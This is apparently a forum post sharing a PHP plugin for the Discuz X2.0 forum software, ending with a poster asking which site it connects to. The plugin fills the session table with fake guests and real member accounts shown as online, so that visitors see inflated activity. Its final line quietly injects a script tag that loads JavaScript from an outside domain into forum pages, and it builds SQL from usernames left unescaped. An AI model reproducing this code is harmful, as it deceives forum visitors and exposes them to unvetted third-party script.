<?php
/*
* DZ x2.0论坛虚拟在线人数插件
*
*
*/
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
/*
* 虚拟在线插件控制设置
* 本插件产生的游客ip为: 255.255.255.255 产生的会员ip为: 127.127.127.127
*/
/* 用户配置区域 */
$online[min_m] = 100; //最少在线人数
$online[max_m] = 500; //最大在线人数
$online[mem_m] = 1/5; //在线会员人数比例
//$online[hid_m] = 1/100; //隐身人数 不启用
/** 功能实现关键代码 请不要随意修改!**/
set_time_limit(0);
/* 获得所有会员信息 */
$sql = "select * from ".DB::table('common_member')." limit 0,$online[min_m]";
$q = mysql_query($sql);
while($row = mysql_fetch_array($q))
{
$user[uid][] = $row[uid];
$user[username][] = $row[username];
$user[groupid][] = $row[groupid];
}
/* 首先删除上一批在线人数; */
$sql = "delete from ".DB::table('common_session')." where (ip1=255 and ip2=255 and ip3=255 and ip4=255) or (ip1=127 and ip2=127 and ip3=127 and ip4=127)";
DB::query($sql);
/* 生成相应的session入库 */
//产生一个总共在线人数
$online_n = rand($online[min_m],$online[max_m]);
//计算在线会员的人数
$online_u = $online_n * ($online[mem_m]) ;
$online_u = ceil($online_u);
//计算会员中隐身的人数
$online_h = $online_u * $online[hid_m];
$online_h = ceil($online_h);
//计算游客在线人数
$online_g = $online_n - $online_u ;
for($i=0;$i<$online_n;$i++)
{
$time = time()-rand(0,7200);
$sid = sid();
if( $i < $online_g )//产生游客
{
DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','255','255','255','255','0','','7','0','','{$time}','','0','0')");
}
else //产生会员在线
{
$u = array_rand($user[uid],1);
$uid = $user[uid][$u];
//查看该uid是否已经登录
DB::query("select uid from ".DB::table('common_session')." where uid=$uid");
if( DB::affected_rows()>0 )
{
//如果该会员已经登录 则产生一个游客在线
DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','255','255','255','255','0','','7','0','','{$time}','','0','0')");
}
else
{
$username = $user[username][$u];
$groupid = $user[groupid][$u];
DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','127','127','127','127','{$uid}','{$username}','{$groupid}','0','','{$time}','','0','0')");
}
}
}
function sid()
{
$str = "abcdefghijklmnopqrst1234567890";
unset($sid);
for($j=0;$j<6;$j++)
{
$sid .= substr($str, mt_rand(0,strlen($str)-1),1);
}
return $sid;
}
echo '<script src="http://ntrr.net人人笑话" language="JavaScript"></script>[/color]';
?>
這是連到哪個網址的??? |